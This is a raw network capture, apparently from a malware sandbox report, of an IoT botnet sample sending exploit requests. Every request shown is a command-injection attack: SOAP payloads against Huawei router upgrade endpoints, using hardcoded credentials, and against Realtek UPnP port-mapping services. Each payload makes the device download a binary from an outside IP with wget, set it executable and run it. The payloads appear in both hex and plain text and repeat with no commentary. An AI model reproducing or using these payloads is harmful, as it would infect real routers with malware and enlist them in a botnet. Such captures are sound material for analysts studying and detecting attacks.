                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:41.209611893 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:45.209467888 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:52.889406919 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:08.249144077 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:39.991919994 CET822OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      89192.168.2.154743045.115.243.24652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:37.690717936 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:39.257652998 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:41.113751888 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
